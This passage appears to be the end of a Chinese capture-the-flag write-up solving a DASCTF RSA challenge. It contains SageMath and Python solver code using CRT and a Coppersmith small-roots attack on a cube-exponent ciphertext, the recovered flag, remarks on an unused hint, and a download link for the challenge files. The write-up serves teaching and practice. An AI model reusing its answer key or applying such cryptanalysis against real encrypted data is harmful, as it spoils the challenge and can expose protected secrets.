for i in res:
m = crt([int(i[0]),mp],[QQQ,PP])
flag = long_to_bytes(int(m))
if(b"DASCTF{" in flag):
print(flag)


#DASCTF{Ar3_Y0u_Su93_Abt139??}
或者
# sagemath
from Crypto.Util.number import *
N = 763933528218428362740063144747893290714655295576768532896029874141179804730143020017430379534079773751531037961074867132893544981605022026151484151321515584652838724809597675412676810669583078026377048734720511960708515190930979
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
PR.<k> = PolynomialRing(Zmod(N))
f = (M + k * l) ^ 3 - c
f = f.monic()
kk = f.small_roots(X = 2 ^ 239, epsilon = 0.02)[0]
m = M + kk * l
print(long_to_bytes(int(m)))
# DASCTF{Ar3_Y0u_Su93_Abt139??}

但是这都做完了,发现有一个信息其实根本没用上,就是:

M = pow(m,1,l)

相当于多给了个m模l的值,而由于加密指数仅仅为3,所以类似于明文低位泄露,可以写出:


所以得到N之后,预期应该也可以不AMM,直接copper可能就行了,或者就是用可以直接求逆的PP去和l做crt也行。总之信息给的很多。



题目附件下载地址:

链接:

https://pan.baidu.com/s/1fOKY3-VKGKaJGKX6ZWSGBA 提取码: 5gjp
























posted @ 2024-10-07 09:26  渗透测试中心  阅读(196)  评论(0编辑  收藏  举报